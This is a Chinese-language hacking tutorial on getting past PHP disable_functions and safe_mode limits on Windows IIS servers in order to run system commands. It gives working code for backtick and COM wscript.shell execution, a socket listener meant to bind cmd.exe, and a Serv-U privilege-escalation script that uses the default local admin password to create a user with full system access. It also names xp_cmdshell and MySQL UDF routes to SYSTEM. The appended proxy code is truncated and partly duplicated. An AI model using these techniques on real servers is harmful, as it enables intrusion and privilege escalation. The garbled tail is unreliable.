從win2000到win xp, 再到win2003, ms iis性的提高是顯而易見的。 在win2000中, 一個(gè)普通的php shell便能把它打垮; 在win xp, 即使safe mode = off,你也無(wú)法用system() 等函數(shù)執(zhí)行系統(tǒng)命令, 但是我們還能用com()函數(shù)進(jìn)行突破;到win 2003,即使iis 和php都是默認(rèn)安裝,你用system(), com()也可能拿它沒轍。這時(shí)候你就不得不使用一些新的方法來(lái)進(jìn)行突破了。
1、disable_functions的突破
在php -4.0.1以上的版本,php.ini里引入了一項(xiàng)功能disable_functions , 這個(gè)功能比較有用,可以用它禁止一些函數(shù)。比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時(shí)候?qū)?huì)提示warning: system() has been disabled for security reasons,同時(shí)程序終止運(yùn)行。但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因?yàn)閜hp采用了很多perl的特性,比如還可以用(`)來(lái)執(zhí)行命令,示例代碼如下:
<?$output = `ls -al`;echo "<pre>$output</pre>";?>
據(jù)說(shuō)這個(gè)只有設(shè)成safe_mode為on才能避免,但上次我在一臺(tái)國(guó)外的服務(wù)器上使用的時(shí)候還是失敗了,人并不是什么時(shí)候都能那么走運(yùn)的:)
2、dl()函數(shù)的應(yīng)用
當(dāng)任何php的內(nèi)部命令執(zhí)行數(shù)和''都無(wú)法使用的時(shí)候,可以嘗試dl(),該方法只能用于safe mode=off, 因?yàn)樗诎踩J较率潜唤玫?。利用dl()你可以直接調(diào)用w32api 函數(shù),可惜這個(gè)擴(kuò)展已被移動(dòng)到 pecl 庫(kù)中,且自php 5.1.0以下版本起不再被綁定。以下是手冊(cè)里的例子:
// 加載此擴(kuò)展
dl("php_w32api.dll");
// 注冊(cè) gettickcount 函數(shù),來(lái)自 kernel32.dll
w32api_register_function("kernel32.dll",
"gettickcount",
"long");
// 注冊(cè) messageboxa 函數(shù),來(lái)自 user32.dll
w32api_register_function("user32.dll",
"messageboxa",
"long");
// 取得開機(jī)時(shí)間信息
$ticks = gettickcount();
// 轉(zhuǎn)換為易于理解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);
$str = sprintf("you have been using your computer for:".
"/r/n %d milliseconds, or /r/n %d seconds".
"or /r/n %d mins or/r/n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));
// 顯示一個(gè)消息對(duì)話框,只有一個(gè) ok 按鈕和上面的開機(jī)時(shí)間文本
messageboxa(null,
$str,
"uptime information",
mb_ok);
?>
可惜我還沒有理解透徹dl()和w32api, 所以就不亂舉例子了, 免得誤導(dǎo)讀者。
3、com 和 .net(windows)函數(shù)的應(yīng)用
com(component object model,組件對(duì)象模型)是微軟開發(fā)的軟件規(guī)范,它用于開發(fā)面向?qū)ο蟮?、編譯好的軟件組件,它允許把軟件抽象成為二進(jìn)制的部件,主要運(yùn)用于windows平臺(tái)。
php 的 windows 版本已經(jīng)內(nèi)置該擴(kuò)展模塊的支持。無(wú)需加載任何附加擴(kuò)展庫(kù)即可使用com函數(shù)。它的使用方法類似于c++或java中類的創(chuàng)建的語(yǔ)法,并把com的類名作為參數(shù)傳遞到構(gòu)造函數(shù)。例如使用在php中調(diào)用“wscript.shell”執(zhí)行系統(tǒng)命令:
$cmd=” e:/cert/admin/psexec.exe”;
if($com=new com("wscript.shell")) echo "yes";
if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
圖1是我寫的一個(gè)執(zhí)行psexec.exe的一個(gè)例子。
這段代碼與asp的的意思是一模一樣的,當(dāng)然,你也可以像asp那樣調(diào)用“adodb.connection”,利用這個(gè)組件結(jié)合jet2溢出漏洞,可能能夠在php saft mode=on下拿到一個(gè)shell。
//create the database connection
$conn = new com("adodb.connection");
$dsn = "driver={microsoft access driver (*.mdb)}; dbq=" . realpath("mydb.mdb");
$conn->open($dsn);
//pull the data through sql string
$rs = $conn->execute("select clients from web");
…..
?>
.net 函數(shù)只能運(yùn)行在 php 5上,當(dāng)然,它需要 “.net runtime”的支持,而且這的php的一個(gè)實(shí)驗(yàn)性模塊,功能還未齊全,所以在這就不討論了。
4、java()函數(shù)的應(yīng)用
該方法適用于safe mode=on。要使用java模塊服務(wù)器必須事先安裝java虛擬機(jī),而且在php安裝配置的時(shí)候打開了with-java的選項(xiàng),代碼如下:
[java]
;這是到php_java.jar的路徑
;java.class.path = ./php_java.jar
;jdk的路徑
;java.home = f:/jdk1.3.0
;到虛擬機(jī)的路徑
;java.library=f:/jdk1.3.0/jre/bin/hostspot/jvm.dll
同com一樣,使用java創(chuàng)建類(不僅僅是javabeans)只需把java的類名作為參數(shù)傳遞到構(gòu)造函數(shù)。以下是手冊(cè)里邊的一個(gè)例子:
// this example is only intended to be run as a cgi.
$frame = new java('java.awt.frame', 'php');
$button = new java('java.awt.button', 'hello java world!');
$frame->add('north', $button);
$frame->validate();
$frame->pack();
$frame->visible = true;
$thread = new java('java.lang.thread');
$thread->sleep(10000);
$frame->dispose();
?>
可惜能真正支持java的php服務(wù)器并不多見,所以在這也不多討論了。
5、socket()函數(shù)的應(yīng)用
socket 是php中功能極為強(qiáng)大的一個(gè)模塊,如果你使用高級(jí)的、抽象的接口(由fsockopen()和psockopen函數(shù)打開的socket),是不需要打開“php_sockets.dll”的。但是如果要使用完整的socket函數(shù)塊,就必須在php.ini這樣設(shè)置:
;windows extensions
;note that mysql and odbc support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前邊的分號(hào)
;extension=php_sockets.dll
使用php的socket函數(shù)塊可以實(shí)現(xiàn)端口轉(zhuǎn)發(fā)/重定向、數(shù)據(jù)包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 還可以用它構(gòu)造tcp/udp服務(wù)器, 同時(shí), 我覺得它也是突破策略的一個(gè)最好的辦法。以下便是一個(gè)在服務(wù)器上打開端口構(gòu)造tcp服務(wù)器的例子,你可以用它來(lái)捆綁上服務(wù)器的cmd.exe:
//在服務(wù)器上構(gòu)造tcp服務(wù)
//該例子需要php_sockets.dll的支持
//執(zhí)行后便可使用” telnet 127.0.0.1 1020”連接
error_reporting(e_all);
/* allow the script to hang around waiting for connections. */
set_time_limit(0);
/* turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();
//在服務(wù)器上綁定ip和端口
$address = '127.0.0.1';
$port = 1020;
if (($sock = socket_create(af_inet, sock_stream, sol_tcp)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "/n";
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "/n";
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "/n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "/n";
break;
}
/* send instructions. */
$msg = "/nwelcome to the php test server. /n" .
"to quit, type 'quit'. to shut down the server type 'shutdown'./n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "/n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "php: you said '$buf'./n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf/n";
//以下處理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
while($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (true);
socket_close($msgsock);
} while (true);
socket_close($sock);
?>
事實(shí)上,很多主機(jī)都是沒有加載php_sockets.dll的,慶幸的是,不需要socket模塊支持的“fsockopen”函數(shù)已經(jīng)足夠我們使用了。因?yàn)橹灰小癴sockopen”,我們便可以自由地讀寫本機(jī)中未對(duì)外部開放的端口。使用fsockopen讀寫serv-u 的本地管理端口43958 (注: 該端口無(wú)法在外部連結(jié)) 進(jìn)行提權(quán)便是一個(gè)很典型的例子:
$adminuser=” localadministrator”;
$adminpass=” #[email protected]$ak#.lk;[email protected]”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)
/n";
} else {
//可以寫入$shellcode
// fputs ($fp, $shellcode);
fputs ($fp, "user ".$adminuser."/r/n");
sleep (1);
fputs ($fp, "pass ".$adminpass."/r/n");
sleep (1);
fputs ($fp, "site maintenance/r/n");
sleep (1);
fputs ($fp, "-setusersetup/r/n");
fputs ($fp, "-ip=".$addr."/r/n");
fputs ($fp, "-portno=".$ftpport."/r/n");
fputs ($fp, "-user=".$user."/r/n");
fputs ($fp, "-password=".$password."/r/n");
fputs ($fp, "-homedir=".$homedir."/r/n");
fputs ($fp, "-loginmesfile=/r/n");
fputs ($fp, "-disable=0/r/n");
fputs ($fp, "-relpaths=0/r/n");
fputs ($fp, "-needsecure=0/r/n");
fputs ($fp, "-hidehidden=0/r/n");
fputs ($fp, "-alwaysallowlogin=0/r/n");
fputs ($fp, "-changepassword=1/r/n");
fputs ($fp, "-quotaenable=0/r/n");
fputs ($fp, "-maxusersloginperip=-1/r/n");
fputs ($fp, "-speedlimitup=-1/r/n");
fputs ($fp, "-speedlimitdown=-1/r/n");
fputs ($fp, "-maxnrusers=-1/r/n");
fputs ($fp, "-idletimeout=600/r/n");
fputs ($fp, "-sessiontimeout=-1/r/n");
fputs ($fp, "-expire=0/r/n");
fputs ($fp, "-ratioup=1/r/n");
fputs ($fp, "-ratiodown=1/r/n");
fputs ($fp, "-ratioscredit=0/r/n");
fputs ($fp, "-quotacurrent=0/r/n");
fputs ($fp, "-quotamaximum=0/r/n");
fputs ($fp, "-maintenance=system/r/n");
fputs ($fp, "-passwordtype=regular/r/n");
fputs ($fp, "-ratios=none/r/n");
fputs ($fp, " access=".$homedir."|rwamelcdp/r/n");
fputs ($fp, "quit/r/n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>
還可以利用fsockopen編寫http代理,從而訪問(wèn)外網(wǎng)或本機(jī)中無(wú)法外部訪問(wèn)的網(wǎng)站。我手上有一個(gè)完整的httpproxy(圖4),代碼較長(zhǎng)。有興趣的讀者可以看看。
6、mysql/mssql接口
不同于linux的是,windows下的mysql/mssql一般是以系統(tǒng)管理員身份運(yùn)行的,因此,只要能拿到本機(jī)sql數(shù)據(jù)庫(kù)中的root/sa密碼,你就可以直接用php連接數(shù)據(jù)庫(kù)來(lái)執(zhí)行系統(tǒng)命令。
在mysql中執(zhí)行系統(tǒng)命令要利用用戶自定義函數(shù)“mysql udf dynamic library”這個(gè)漏洞。在mssql中只要連接上數(shù)據(jù)庫(kù),就能直接調(diào)用“master..xp_cmdshell“擴(kuò)展執(zhí)行命令,權(quán)限當(dāng)然是system權(quán)限。
總結(jié)一下:由于系統(tǒng)、iis、php的版本不一樣,以上提到的幾個(gè)突破方法可能會(huì)有所變化,php還有許多擴(kuò)展功能是可以利用的,走出system()那幾個(gè)系統(tǒng)命令執(zhí)行函數(shù),你就有可能突破系統(tǒng)安全策略的限制!
后面附上proxy.php的代碼
error_reporting(e_all);
/*
// this program is free software; you can redistribute it and/or
// modify it under the terms of the gnu general public license
// as published by the free software foundation; either version 2
// of the license, or (at your option) any later version.
//
// this program is distributed in the hope that it will be useful,
// but without any warranty; without even the implied warranty of
// merchantability or fitness for a particular purpose. see the
// gnu general public license for more details.
//
// you should have received a copy of the gnu general public license
// along with this program; if not, write to the free software
// foundation, inc., 59 temple place - suite 330, boston, ma 02111-1307, usa.
//-------------------------------------------------------------------
// class: phproxy
// author: ultimategamer00 (abdullah a.)
// last modified: 6:28 pm 6/22/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz',
'nopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklm');
return strtr($str, $alpha[0], $alpha[1]);
}
}
class phproxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;
function phproxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " http/1.0/r/n";
$headers .= "host: :/r/n";
$headers .= "user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)/r/n";
$headers .= "accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1/r/n";
$headers .= "connection: close/r/n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "referer: /r/n";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "cookie: $cookies/r/n" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " http/1.0/r/n";
$headers .= "host: :/r/n";
$headers .= "user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)/r/n";
$headers .= "accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1/r/n";
$headers .= "connection: close/r/n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "referer: /r/n";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "cookie: $cookies/r/n" : '';
if (
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